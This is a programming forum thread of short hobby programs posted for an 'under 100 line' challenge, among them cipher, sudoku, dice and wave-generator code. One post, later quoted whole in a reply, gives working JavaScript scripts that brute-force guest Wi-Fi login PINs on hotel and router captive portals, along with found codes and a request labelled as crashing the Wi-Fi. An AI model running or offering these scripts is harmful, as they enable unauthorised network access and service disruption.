Jump to content
Phishing Emails & YouTube Messages - Fake Giveaway Read more... ×
Search In
• More options...
Find results that contain...
Find results in...

# The under 100 line challenge!

## Recommended Posts

Here is my code

A small bifid cipher encoder/decoder

if it doesn't work fr some reason plsss reply or comment or whatever u r supposed to do

[code]
import java.io.*;
public class Bifid_cypher {
public static void main(String[] args) throws IOException {
InputStreamReader red = (new InputStreamReader(System.in));
BufferedReader in = new BufferedReader(red);
System.out.println("Enter 1 to encrypt");
System.out.println("Enter 2 to decrypt");
int opt = Integer.parseInt(in.readLine());
if (opt == 1)
{
char a[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
char c[][] = new char[5][5];
char c1[] = new char[25];
int x = 0;
while (x <25)
{
int r= (int)(Math.random()*(25));//RANDOMISATION CODE
char random=a[r];
boolean b = true;
for (int j = 0; j < x; j++)//FILTERING MATCHING ELEMENTS AND FILLING
{
if(random==c1[j])
{
b = false;
break;
}
}
if (b==true)
{
c1[x]=random;
x += 1;
}
}
for(int j=0;j<25;j++)//1D TO 2D CONVERSION
{
if(j%5==0)
{
System.out.print("\n");
}
c[((j)/5)][((j)%5)]=c1[j];
System.out.print(c1[j]);
}
System.out.println("\n"+"enter the message");//ASK FOR THE INPUT
String s=in.readLine();
int e1[]=new int[s.length()*2];
for(int i=0;i<s.length();i++)//ENCRYPTION STAGE
{
for(int j=0;j<5;j++)
{
for(int k=0;k<5;k++)
{
if(s.charAt(i)=='J')
{
if('I'==c[j][k])
{
e1[i]=j;
e1[i+s.length()]=k;
}
}
else if(s.charAt(i)==c[j][k])
{
e1[i]=j;
e1[i+s.length()]=k;
}
}
}
}
String output="";
for(int i=0;i<s.length();i++)
{
output+=c[e1[i*2]][e1[i*2+1]];
}
System.out.println("\n"+"the encrypted code");
System.out.print(output);
}
if(opt==2)
{
System.out.println("enter the encryption key");
String s2[]=new String[5];
for(int i=0;i<5;i++)
s2[i]=in.readLine();
System.out.println("enter the message");
String msg=in.readLine();
int e2[]=new int[msg.length()*2];
for(int i=0;i<msg.length();i++)
{
for (int j = 0; j < 5; j++)
{
for (int k = 0; k < 5; k++)
{
if(msg.charAt(i)==s2[j].charAt(k))
{
e2[i*2]=j;
e2[i*2+1]=k;
}
}
}
}
System.out.println();
String output="";
for(int i=0;i<msg.length();i++)
{
output+=s2[e2[i]].charAt(e2[i+msg.length()]);
}
System.out.println("\n"+"the decrypted code");
System.out.print(output);
}
}
}

[ /code]
##### Share on other sites

Hi everyone!

As my first project, getting comfortable with Python, I wrote this roman numeral to normal number converter!

It came out to 77 lines

def calculatenumeral(str):
roman_numeral = str
ron_list = list(str)
ron_list_worth = list(str)
position_in_ron = 0
ron_equals = 0
i = 0

for letter in roman_numeral:
ron_list[position_in_ron] = letter

if letter == roman_numerals[0]:
ron_list_worth[position_in_ron] = 1

if letter == roman_numerals[1]:
ron_list_worth[position_in_ron] = 5

if letter == roman_numerals[2]:
ron_list_worth[position_in_ron] = 10

if letter == roman_numerals[3]:
ron_list_worth[position_in_ron] = 50

if letter == roman_numerals[4]:
ron_list_worth[position_in_ron] = 100

if letter == roman_numerals[5]:
ron_list_worth[position_in_ron] = 500

if letter == roman_numerals[6]:
ron_list_worth[position_in_ron] = 1000

position_in_ron += 1

position_in_ron = 0

for letter in roman_numeral:
ron_equals += ron_list_worth[position_in_ron]

if ron_list_worth[position_in_ron - 1] < ron_list_worth[position_in_ron] and position_in_ron > 0:
#for debugging: print(ron_equals, "-", (2 * ron_list_worth[position_in_ron - 1]))
ron_equals = ron_equals - (2 * ron_list_worth[position_in_ron - 1])

#for debugging: print("Ron = ", ron_equals, "| p = ", position_in_ron)
position_in_ron += 1

return ron_equals

while True:

roman_numeral = input("\nWrite your roman numeral here: \n")

roman_numeral = roman_numeral.upper()

roman_numerals = ["I", "V", "X", "L", "C", "D", "M"]

valid_ron = False
go_on = True

for letter in roman_numeral:

if go_on == True:

if letter in roman_numerals:
go_on = True
valid_ron = True

elif letter not in roman_numerals:
go_on = False
valid_ron = False

if valid_ron == True:

print("That is: ", calculatenumeral(roman_numeral))

if valid_ron == False:
print("Sorry, '", roman_numeral, "' includes characters which are not yet supported.")

W H E N   T H E   W O R L D   I S   A G A I N S T   Y O U ,   B U I L D   C O M P U T E R S !

##### Share on other sites

I wrote a basic video player for sphere, the fallback atm is that it relies on raw frames in the form of jpg or png images and a ripped audio file in order to work.

let video_object = function(name, audioFormat = "mp3", raw = true, preload = false)
{
this.srate = 23.976024;
this.multipler = 1;
this.refRate = 1000 / GetFrameRate();
this.rate = 1000 / this.srate;
this.raw = raw;
this.name = name;
this.preload = preload;

this.audioFormat = audioFormat;
if (raw)
{
this.videoFormat = "RAW";
} else {
this.videoFormat = "wtfvf"; // stands for WHAT THE %!#\$ video format.
}

this.volume = 100;

this.frameList = GetFileList("images/" + name);

this.frameData = {};
if (preload)
{
Print("Loading video \"" + name + "\"");
for (frame = 0; frae < this.frameList.length; frame++)
{
print("		Loading " + this.frameList[frame]);
let cache = LoadImage(name + this.frameList[frame]);
this.frameData[frame.toString()] = cache;
}
}

this.frameData["audio"] = LoadSound(name + "." + audioFormat);
}

video_object.prototype.SetFrameRate = function(newframerate)
{
this.srate = newframerate;
this.rate = 1000 / this.srate;
}

video_object.prototype.play = function(x, y)
{

let updateFrame = false;
let updateTime = GetTime() + this.rate;
let frame = 0;
let frameCount = this.frameList.length;
let lastFrame = LoadImage(this.name + "/" + this.frameList[0]);

this.frameData["audio"].play();

let currentTime = GetTime();

while(frame < frameCount)
{
currentTime = GetTime();

if (updateFrame)
{
lastFrame = LoadImage(this.name + "/" + this.frameList[frame]);
updateFrame = false;
}

lastFrame.blit(x, y);
FlipScreen();

if (currentTime >= updateTime)
{
let correction = currentTime - updateTime;

Print(frame + " - " + correction);
Print(currentTime + " - " + updateTime);

updateTime = currentTime + this.rate - correction;
updateFrame = true;
frame++;
}
}
}

My procrastination is the bane of my existence.

I make games and stuff in my spare time.

##### Share on other sites

I mean, I code write a 30,000 line program then just inline everything so it fits down to 100? would that disqualify?

##### Share on other sites

A simple c++ sudoku solver using recursive backtracking I wrote a few weeks ago. This version only solves 9x9 sudokus, but adjusting to other sizes is only a matter of initializing the Sudoku template with another value (eg. Sudoku<4> for 16x16 sudokus).

It's plenty fast for any 9x9 sudoku and some 16x16 sudokus, usually only taking a few microseconds, but on harder sudokus it will take several minutes or hours (or more).

It's 107 lines of code actually, but I'm counting it anyway since the actual program only starts at line 10.

To compile using gcc, save as sudoku_solver.cpp and then type g++ --std c++17 -O3 sudoku_solver.cpp -o sudoku_solver.

Usage: ./sudoku_solver sudoku.txt

#include <iostream>
#include <fstream>
#include <iomanip>
#include <array>
#include <algorithm>
#include <optional>

using namespace std;

template<int n>
struct Sudoku {
static const int width = n * n;
static const int n_cells = width * width;
typedef array<int, width> Row;
typedef array<Row, width> Field;
Field m_field;

inline Sudoku<n>()
: m_field{}
{}

inline bool validate_row(int num, int i_row) const
{
return none_of(m_field[i_row].begin(), m_field[i_row].end(), [&](const int cell) { return cell == num; });
}

inline bool validate_col(int num, int i_col) const
{
return none_of(m_field.begin(), m_field.end(), [&](const Row &row) { return row[i_col] == num; });
}

inline bool validate_block(int num, int i_row, int i_col) const
{
const int block_row = i_row / n * n;
const int block_col = i_col / n * n;
for (int i = 0; i < width; ++i)
if (num == m_field[block_row + i / n][block_col + i % n])
return false;
return true;
}

inline bool validate_cell(int num, int i_row, int i_col) const
{
return validate_row(num, i_row)  && validate_block(num, i_row, i_col) && validate_col(num, i_col);
}

inline optional<Sudoku<n>> get_solution()
{
Sudoku<n> solution(*this);
return solution.solve_recursive(*this, 0) ? solution : optional<Sudoku<n>>{};
}

inline bool solve_recursive(const Sudoku<n> &sudoku, int index)
{
if (index == n_cells)
return true;
const int i_row = index / width;
const int i_col = index % width;
if (sudoku.m_field[i_row][i_col] != 0)
return solve_recursive(sudoku, index + 1);
for (int num = 1; num <= width; ++num) {
if (validate_cell(num, i_row, i_col)) {
m_field[i_row][i_col] = num;
if (solve_recursive(sudoku, index + 1))
return true;
}
}
m_field[i_row][i_col] = 0;
return false;
}
};

template<int n>
ostream & operator<<(ostream &os, const Sudoku<n> &sudoku)
{
for (const auto &row: sudoku.m_field) {
for (const auto &cell: row)
os << setw(2) << cell << " ";
os << "\n";
}
return os;
}

template<int n>
istream & operator>>(istream &is, Sudoku<n> &sudoku)
{
for (auto &row: sudoku.m_field)
for (auto &cell: row)
is >> cell;
return is;
}

int main(int argc, char **argv)
{
Sudoku<3> sudoku;
ifstream(argv[1]) >> sudoku;
auto solution = sudoku.get_solution();
cout << "Input:\n" << sudoku << "\n";
if (solution) {
cout << "Found a solution:\n" << *solution;
return 0;
}
cout << "No solution found.\n";
return 1;
}

Example input file:

Spoiler

0 0 1 3 0 0 7 0 2
0 0 6 2 0 0 0 1 0
0 2 0 0 0 0 0 0 4
2 0 0 6 0 1 3 0 9
0 0 0 0 0 0 0 0 0
4 0 3 8 0 9 0 0 7
1 0 0 0 0 0 0 8 0
0 5 0 0 0 6 4 0 0
9 0 4 0 0 8 5 0 0

Example output:

Spoiler

\$ time ./sudoku_solver sudoku.txt
Input:
0  0  1  3  0  0  7  0  2
0  0  6  2  0  0  0  1  0
0  2  0  0  0  0  0  0  4
2  0  0  6  0  1  3  0  9
0  0  0  0  0  0  0  0  0
4  0  3  8  0  9  0  0  7
1  0  0  0  0  0  0  8  0
0  5  0  0  0  6  4  0  0
9  0  4  0  0  8  5  0  0

Found a solution:
8  4  1  3  6  5  7  9  2
7  3  6  2  9  4  8  1  5
5  2  9  1  8  7  6  3  4
2  8  5  6  7  1  3  4  9
6  9  7  4  3  2  1  5  8
4  1  3  8  5  9  2  6  7
1  7  2  5  4  3  9  8  6
3  5  8  9  2  6  4  7  1
9  6  4  7  1  8  5  2  3

real    0m0,006s
user    0m0,001s
sys     0m0,006s

##### Share on other sites

This is a chatbot written in Python, it is fairly simple, but is good enough, it might lag...

import random
say='Hi! I\'m an chatbot, called Medice, written in 50 lines! Enjoy!\n'
saylist=[]
try:
savefile=open('savebot.txt','r')
except:
savefile=open('savebot.txt','w')
savefile.write('hello'+'\n')
savefile.write('\n')
savefile.close()
savefile=open('savebot.txt','r')
while True:
readl=savefile.readline()
if readl=='\n':
break
saylist.append(readl)
savefile.close()
def s(word):
saylist.append(word+'\n')
savefile=open('savebot.txt','w')
for i in range(0,len(saylist),1):
savefile.write(saylist[i])
savefile.write('\n')
lastspace=0
words=[]
availible=[]
word=word+' '
for num,i in enumerate(word):
if i == ' ':
words.append(word[lastspace:num])
lastspace=num
for i in saylist:
i=i.replace('\n','')+' \n'
lastspace=0
words2=[]
for num,j in enumerate(i):
if j == ' ':
words2.append(i[lastspace:num])
lastspace=num
for j in words2:
if j.replace('\n','') in words:
if not j.replace('\n','') == word:
availible.append(i)
print(availible)
if availible == []:
return random.choice(saylist)
else:
return random.choice(availible)
while True:
say=s(input(say))
#should add matching for ?,. also find most matched phrasae, also dont let the bot repeat whatever was said in the first time it was said

Also, I realized that using less than 100 lines is easy with min.js .

##### Share on other sites

Here is a digital square root calculator in 26 lines.

#include <iostream>
#include <string>

unsigned digitalRoot(std::ostream &ostr, unsigned input)
{
unsigned root = 0;
while (input > 0)
{
unsigned digit = input % 10;
root += digit;
input /= 10;
ostr << digit << " + ";
}
ostr << "\b\b\b = " << root << std::endl;
return root < 10 ? root : digitalRoot(ostr, root);
}

int main()
{
std::string input;
std::cout << "Please enter a number: ";
std::getline(std::cin, input);
std::cout << "\nDigital root is " << digitalRoot(std::cout, (unsigned long long)std::stoi(input)) << ".\n\n";
main();
return 0;
}
##### Share on other sites
On 7/19/2018 at 6:35 PM, Wildstingray said:

I mean, I code write a 30,000 line program then just inline everything so it fits down to 100? would that disqualify?

you can code everything in just one single line in fact. Do this to annoy the hell out of your project manager

Sudo make me a sandwich

##### Share on other sites
On 7/10/2018 at 8:09 PM, matias_a_etersen said:

if letter == roman_numerals[0]:
ron_list_worth[position_in_ron] = 1

if letter == roman_numerals[1]:
ron_list_worth[position_in_ron] = 5

if letter == roman_numerals[2]:
ron_list_worth[position_in_ron] = 10

if letter == roman_numerals[3]:
ron_list_worth[position_in_ron] = 50

if letter == roman_numerals[4]:
ron_list_worth[position_in_ron] = 100

if letter == roman_numerals[5]:
ron_list_worth[position_in_ron] = 500

if letter == roman_numerals[6]:
ron_list_worth[position_in_ron] = 1000

The above can be made a bit shorter in terms of lines if you want, though as always it's a little less readable, (haven't ran this but should work). I'm sure we could go even further but this becomes more of a code golf exercise at some point:

value = 1
for i in range(roman_numerals.index(letter)):
value = (value * 5, value * 2)[i % 2 == 0]

ron_list_worth[position_in_ron] = value

##### Share on other sites

Once upon a time, I sat in a college lecture bored to death.  I texted one of my friends, who I could see from across the room was in a similar state.  A competition to write the shortest Python program to calculate e (the base of natural logarithms) ensued.  This is the code with which I won.

print(sum([1/(lambda p,q:q(p,q))(n,(lambda p,q:p!=0 and p*q(p-1,q) or 1)) for n in range(0,abs(int(input("Terms: "))))])**float(input("x: ")))

The program will ask for the number of terms to use in its power-series approximation for e, and for the exponent to use (because really this program calculates e raised to the x power).

Perhaps a bit of explaining is in order.  I don't know.  If you want an explanation of how this works, let me know.  18 terms seems to be enough for it to converge over the length of floating-point decimal data stored by Python.

##### Share on other sites

I will take this on when Im back from class

Really this just promotes the sloppier coding I checked some of my other projects and one is at like 108 lines with GOOD formatting and full if statements... if I butcher that down as much as I can I bet I can get a lot more lol

There was another trick I found for parsing strings on to the end of ArrayList individual strings in VB.net
Basically you use the function String.Join to combine the strings with a unique separator after the wanted suffix on the string (plus one more for the last string) then use String.Split on this new string to return it to an array.  There are a few other casts inbetween, but it can all be done in ONE line, something that no other built in function lets you do.  It cuts down on time MASSIVELY compared to iterating each string.  Example below:

OutputArrayList.AddRange((string.Join("SuffixString;", sourceStrings.ToArray()) + "SuffixString").Split(";".ToCharArray()).ToList());

You could do the same thing on the resulting output to add a suffix as well, just changing the location of the 2nd SuffixString to before the String.Join statement.

Again once I get back from class ill hopefully clean up and share a couple programs under 100 that I made for personal functionality.  Proxy scraper is the main one, but I also have a couple text tools that I made for unique uses I have daily.

##### Share on other sites
On 6/26/2018 at 12:02 PM, Fluxcabury said:

print("Remember to do under 100 line code chalinge!")

Seems legit to me....lol

##### Share on other sites

Some hotel wifi networks are open, but require you to authenticate with an easily crackable password, so here's a way to bypass that. Made it back in early 2017. For multiple different hotels.

var code = 1000, x, i = 0, concurrent_requests = 0;
//Hotel wifi password cracker(Superclick)
function CrackHotelWifiPassword()
{
if (code == 10000)
clearInterval(x);
if (concurrent_requests >= 20)
return; //max 20 req running at a time
concurrent_requests++;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/superclick/wifi_accept.php");
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.code = code;
xmlhttp.onreadystatechange = function() {
if (this.readyState === this.DONE) {
concurrent_requests--;
var loc = this.responseURL;//this.getResponseHeader("Location");
console.log(loc);
if (loc.indexOf("errcode=1") !== -1){ //otherwise it's empty because: http://prntscr.com/elmb70
//console.log('Invalid code: ' + this.code);
}
else{
console.log('Valid code: ' + this.code);
//clearInterval(x);
}
}
}
xmlhttp.send("yesval=yes&noval=no&button=yes&password=" + (code++));
}

x = setInterval(CrackHotelWifiPassword, 250);

//note: must be executed when on https://p2593.superclick.com/std/holiday_inn_new/login_wifi_pin.php?group=4&roomid=1&lang=en&deflang=en&preview=

results:
/*
1005
, 1113, 1170, 1233, 1303, 1329, 1450, 1534, 1766, 1793, 1895, 2159,
*/

2.

//------------------------------------------------------------------------------------------------
//for: (product=Cisco Router, notes=for the ones with only the password field)

var index = 0, code = 0, concurrent_requests = 0;
var sec_prefixes = ["cucumber", "lettuce", "kiwi", "olive", "potato", "tomato", "onion", "cabbage", "carrot", "eggplant", "radish", "garlic", "turnip", "maize", "broccoli", "spinach", "celery", "scallion", "zucchini", "artichoke"];

var x = setInterval(function(){
if (concurrent_requests >= 40)
return; //max 40 req running at a time
if (code == 100){
code = 0;
index++;
}
if (index == sec_prefixes.length){
clearInterval(x);
return;
}
concurrent_requests++;
id = sec_prefixes[index] + ("00" + code++).slice(-2);
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/guestnetwork.cgi");
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.code = id;
xmlhttp.onreadystatechange = function() {
if (this.readyState === this.DONE) {
concurrent_requests--;
if (this.responseText.indexOf("var deny='1'") === -1){
console.log("Found PWD: " + this.responseURL + " - " + this.pwd);
clearInterval(x);
}
else
console.log('Incorrect PWD: ' + this.pwd);
}
}
xmlhttp.send("submit_button=login&change_action=&action=Apply&wait_time=0&submit_type=&gn_host_url=google.com&gn_view_type=0&guest_login=" + encodeURIComponent(id));
}, 10);

3

//---------------------------------------------------------------------------------------
//LINKSYS Smart Wi-Fi guest password cracker
var code = 1, concurrent_requests = 0;

x = setInterval(function()
{
if (code == 10000)
clearInterval(x);
if (concurrent_requests >= 20)
return; //max 20 req running at a time
concurrent_requests++;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/JNAP/");
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.setRequestHeader('X-JNAP-Action', 'http://cisco.com/jnap/guestnetwork/Authenticate');
xmlhttp.setRequestHeader('X-JNAP-Authorization', 'undefined');
xmlhttp.code = code;
xmlhttp.onreadystatechange = function() {
if (this.readyState === this.DONE) {
concurrent_requests--;
var loc = this.responseURL;//this.getResponseHeader("Location");
if (loc.indexOf('"result": "ErrorInvalidPassword"') !== -1){ //otherwise it's empty because:
console.log('Valid code: ' + this.code);
}
}
}
xmlhttp.send('{"macAddress":"d0:53:49:3e:90:ed","ipAddress":"192.168.3.125","password":"'+ (code++) +'"}');
}, 10);

crash the wifi:
POST http://192.168.3.1:10080/JNAP/ HTTP/1.1
Host: 192.168.3.1:10080
Connection: keep-alive
Content-Length: 52
X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
X-JNAP-Authorization: undefined
Origin: http://192.168.3.1:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Expires: Sun Mar 19 2017 17:51:19 GMT-0500 (Central Daylight Time)
DNT: 1
Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

{"macAddress":"","ipAddress":null,"password":"1234"}

##### Share on other sites

Python dice roller. Works with whole numbers, catches errors when a decimal or word is entered.

#Dice roller v3
#By: purple_rider
#Python 3.7.1

import random

print("*Automatic Dice Roller*")
while True:

print('-------------------------------')
while True:
try:
number = int(input('Enter number of dice: '))
break
except ValueError:
print('Oops! Try again with a whole number this time')
while True:
try:
size = int(input('Enter size of dice: '))
break
except ValueError:
print('Oops! Try again with a whole number this time')

for number in range(number):
roll = random.randint(1,size)
print(roll)

And on the first day god said: "Cue one GO" And there was light!

##### Share on other sites

Just a simple Java Program, it check if a IP v4 Address is valid

import java.util.Scanner;

class Lesson_14_Activity_Three {
public static void main(String[] args)
{

Scanner scan = new Scanner(System.in);

int ipCheck1;
int ipCheck2;
int ipCheck3;
int ipCheck4;

System.out.println("Please enter the first octet: ");
int ip1 = scan.nextInt();
System.out.println("Please enter the second octet: ");
int ip2 = scan.nextInt();
System.out.println("Please enter the thrid octet: ");
int ip3 = scan.nextInt();
System.out.println("Please enter the fourth octet: ");
int ip4 = scan.nextInt();

if ((ip1 >= 0) && (ip1 <= 255)){
ipCheck1 = 1;}
else {
System.out.println("Octet 1 is incorrect");
ipCheck1 = 0;}

if ((ip2 >= 0) && (ip2 <= 255)){
ipCheck2 = 1;}
else {
System.out.println("Octet 2 is incorrect");
ipCheck2 = 0;}

if ((ip3 >= 0) && (ip3 <= 255)){
ipCheck3 = 1;}
else {
System.out.println("Octet 3 is incorrect");
ipCheck3 = 0;}

if ((ip4 >= 0) && (ip4 <= 255)){
ipCheck4 = 1;}
else {
System.out.println("Octet 4 is incorrect");
ipCheck4 = 0; }

if ((ipCheck1 == 1) && (ipCheck2 == 1) && (ipCheck3 == 1) && (ipCheck4 == 1)){
System.out.println("IP Address: "+ ip1 +"."+ ip2 + "." + ip3 + "." + ip4);}

}
}

##### Share on other sites
18 minutes ago, gutz00 said:

Just a simple Java Program, it check if a IP v4 Address is valid

If I could poke at this code for a moment...

See if you can re-write it so the program doesn't wait until all four octets are inputted before checking its range, rather it demands that the octet is correct before moving on to the next one.

##### Share on other sites
On 10/31/2018 at 8:33 PM, M.Yurizaki said:

If I could poke at this code for a moment...

See if you can re-write it so the program doesn't wait until all four octets are inputted before checking its range, rather it demands that the octet is correct before moving on to the next one.

Here it is in c++, 25 lines that demands a correct octet before moving on like you said.

#include <iostream>
#include <string>

int main()
{
int octet;
std::string ipAddress = "";

for (unsigned int i = 0; i < 4; i++)
{
std::cout << "Please enter octet #" << i + 1 << ":\n";
do
{
std::cin >> octet;
if (!(octet >= 0 && octet <= 255))
std::cout << "That octet is invalid. Please try again.\n";
} while (!(octet >= 0 && octet <= 255));
ipAddress += std::to_string(octet) + ".";
}

std::cout << "IP Address: " << ipAddress << "\b \n";

system("pause");
return 0;
}

/*
Please enter octet #1:
1
Please enter octet #2:
2
Please enter octet #3:
3
Please enter octet #4:
4
IP Address: 1.2.3.4
Press any key to continue . . .
*/

##### Share on other sites
On 10/18/2018 at 4:34 PM, vt-x said:

Some hotel wifi networks are open, but require you to authenticate with an easily crackable password, so here's a way to bypass that. Made it back in early 2017. For multiple different hotels.

var code = 1000, x, i = 0, concurrent_requests = 0;
//Hotel wifi password cracker(Superclick)
function CrackHotelWifiPassword()
{
if (code == 10000)
clearInterval(x);
if (concurrent_requests >= 20)
return; //max 20 req running at a time
concurrent_requests++;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/superclick/wifi_accept.php");
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.code = code;
xmlhttp.onreadystatechange = function() {
if (this.readyState === this.DONE) {
concurrent_requests--;
var loc = this.responseURL;//this.getResponseHeader("Location");
console.log(loc);
if (loc.indexOf("errcode=1") !== -1){ //otherwise it's empty because: http://prntscr.com/elmb70
//console.log('Invalid code: ' + this.code);
}
else{
console.log('Valid code: ' + this.code);
//clearInterval(x);
}
}
}
xmlhttp.send("yesval=yes&noval=no&button=yes&password=" + (code++));
}

x = setInterval(CrackHotelWifiPassword, 250);

//note: must be executed when on https://p2593.superclick.com/std/holiday_inn_new/login_wifi_pin.php?group=4&roomid=1&lang=en&deflang=en&preview=

results:
/*
1005
, 1113, 1170, 1233, 1303, 1329, 1450, 1534, 1766, 1793, 1895, 2159,
*/

2.

//------------------------------------------------------------------------------------------------
//for: (product=Cisco Router, notes=for the ones with only the password field)

var index = 0, code = 0, concurrent_requests = 0;
var sec_prefixes = ["cucumber", "lettuce", "kiwi", "olive", "potato", "tomato", "onion", "cabbage", "carrot", "eggplant", "radish", "garlic", "turnip", "maize", "broccoli", "spinach", "celery", "scallion", "zucchini", "artichoke"];

var x = setInterval(function(){
if (concurrent_requests >= 40)
return; //max 40 req running at a time
if (code == 100){
code = 0;
index++;
}
if (index == sec_prefixes.length){
clearInterval(x);
return;
}
concurrent_requests++;
id = sec_prefixes[index] + ("00" + code++).slice(-2);
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/guestnetwork.cgi");
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.code = id;
xmlhttp.onreadystatechange = function() {
if (this.readyState === this.DONE) {
concurrent_requests--;
if (this.responseText.indexOf("var deny='1'") === -1){
console.log("Found PWD: " + this.responseURL + " - " + this.pwd);
clearInterval(x);
}
else
console.log('Incorrect PWD: ' + this.pwd);
}
}
xmlhttp.send("submit_button=login&change_action=&action=Apply&wait_time=0&submit_type=&gn_host_url=google.com&gn_view_type=0&guest_login=" + encodeURIComponent(id));
}, 10);

3

//---------------------------------------------------------------------------------------
//LINKSYS Smart Wi-Fi guest password cracker
var code = 1, concurrent_requests = 0;

x = setInterval(function()
{
if (code == 10000)
clearInterval(x);
if (concurrent_requests >= 20)
return; //max 20 req running at a time
concurrent_requests++;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/JNAP/");
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.setRequestHeader('X-JNAP-Action', 'http://cisco.com/jnap/guestnetwork/Authenticate');
xmlhttp.setRequestHeader('X-JNAP-Authorization', 'undefined');
xmlhttp.code = code;
xmlhttp.onreadystatechange = function() {
if (this.readyState === this.DONE) {
concurrent_requests--;
var loc = this.responseURL;//this.getResponseHeader("Location");
if (loc.indexOf('"result": "ErrorInvalidPassword"') !== -1){ //otherwise it's empty because:
console.log('Valid code: ' + this.code);
}
}
}
xmlhttp.send('{"macAddress":"d0:53:49:3e:90:ed","ipAddress":"192.168.3.125","password":"'+ (code++) +'"}');
}, 10);

crash the wifi:
POST http://192.168.3.1:10080/JNAP/ HTTP/1.1
Host: 192.168.3.1:10080
Connection: keep-alive
Content-Length: 52
X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
X-JNAP-Authorization: undefined
Origin: http://192.168.3.1:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Expires: Sun Mar 19 2017 17:51:19 GMT-0500 (Central Daylight Time)
DNT: 1
Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

{"macAddress":"","ipAddress":null,"password":"1234"}

whats the success rate?

Sudo make me a sandwich

##### Share on other sites

Wave generators. So far I have 3 wave types in 69 lines, atleast in the code golf version (which is identical less comments). That could be shortened by about 5 lines (see code comments for CosineWave). I plan to add other wave types, as well as synthesis functions. All waves are in the form of numpy arrays that are T * Fs in length. I'm still debating about adding other functionality and return types. One of the prime things I'm thinking about is incorporating HoloViews objects into my return types, to make graphing easier.

import numpy as np
import matplotlib.pyplot as plt

class Wave:

def __init__(self, **kwargs):
self.frequency = 1
self.amplitude = 1
self.phase_shift = 0
self.vertical_shift = 0
self.sampling_frequency = 1000
self.time = 5

allowed_keys = list(self.__dict__.keys())
self.__dict__.update((key, value) for key, value in kwargs.items() if key in allowed_keys)

def get_time_axis(self):
return np.linspace(0, self.time, self.sampling_frequency * self.time)

def get_amplitude_axis(self):
raise NotImplementedError("get_amplitude_axis must be implemented by child classes")

class SineWave(Wave):

def __init__(self, **kwargs):
super(SineWave, self).__init__(**kwargs)

def get_amplitude_axis(self):
phase_radians = (self.phase_shift * np.pi) / 180
frequency_circle = 2 * np.pi * self.frequency

phase_shifted_sine = np.sin((frequency_circle * self.get_time_axis() + phase_radians))
amplitude_adjusted_sine = phase_shifted_sine * self.amplitude

return amplitude_adjusted_sine + self.vertical_shift

class CosineWave(Wave):

def __init__(self, **kwargs):
super(CosineWave, self).__init__(**kwargs)

def get_amplitude_axis(self):
# Trivially, this could be done by shifting sine left 90 degrees. In code golf that would save some lines
phase_radians = (self.phase_shift * np.pi) / 180
frequency_circle = 2 * np.pi * self.frequency

phase_shifted_cosine = np.cos((frequency_circle * self.get_amplitude_axis()) + phase_radians)
amplitude_adjusted_cosine = phase_shifted_cosine * self.amplitude

return amplitude_adjusted_cosine + self.vertical_shift

class SawWave(Wave):

def __init__(self, **kwargs):
super(SawWave, self).__init__(**kwargs)

def get_amplitude_axis(self):
amplitude_term = -((2 * self.amplitude) / np.pi)
phase_radians = (self.phase_shift * np.pi) / 180
period = 1 / self.frequency

# here we are going to build cotangent by cos/sin
sin = np.sin(((self.get_time_axis() * np.pi) / period) + phase_radians)
cos = np.cos(((self.get_time_axis() * np.pi) / period) + phase_radians)
cotangent = cos / sin

#what we really wanted was arctan(cotan(x)). we also scale by amplitude
amplitude_saw = np.arctan(cotangent) * amplitude_term

return amplitude_saw + self.vertical_shift

##### Share on other sites

Crappy hacked together sorting algorithm that I use to sort a JS object.

const sortByMostCommon = tags => {
const keys = Object.keys(tags);
const sorted = [];
const next = (keys, sorted) => {
let maxLeft = 0;
let maxLeftKey = null;
let maxLeftIdx = 0;
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
if (tags[key] >= maxLeft) {
maxLeft = tags[key];
maxLeftKey = key;
maxLeftIdx = i;
}
}
sorted.push({[maxLeftKey]: tags[maxLeftKey]});
keys.splice(maxLeftIdx, 1);
if (keys.length > 0) {
next(keys, sorted);
}
};
next(keys, sorted);

return sorted;
};

const sorted = sortByMostCommon({
test0: 90,
test1: 2,
test2: 14,
});

##### Share on other sites

This is a small bash script I wrote that I use in my Pandoc workflow to write things for school.

I use it to watch the markdown file I'm currently working on, and then executes my compile command when I save it.

#!/bin/bash

set -e

# A script that when run as
# `./onchangedo.sh <file> <command>`
# executes the `<command>` every time the `<file>` changes
# @DEPENDS notify-tools

# dependency check
if hash inotifywait 2>/dev/null; then
if (( \$# == 2 )); then
FILE="\$1"
COMMAND="\$2"
if [ -f "\$FILE" ]; then
while inotifywait -e close_write "\$FILE" || true; do eval "\$COMMAND"; done
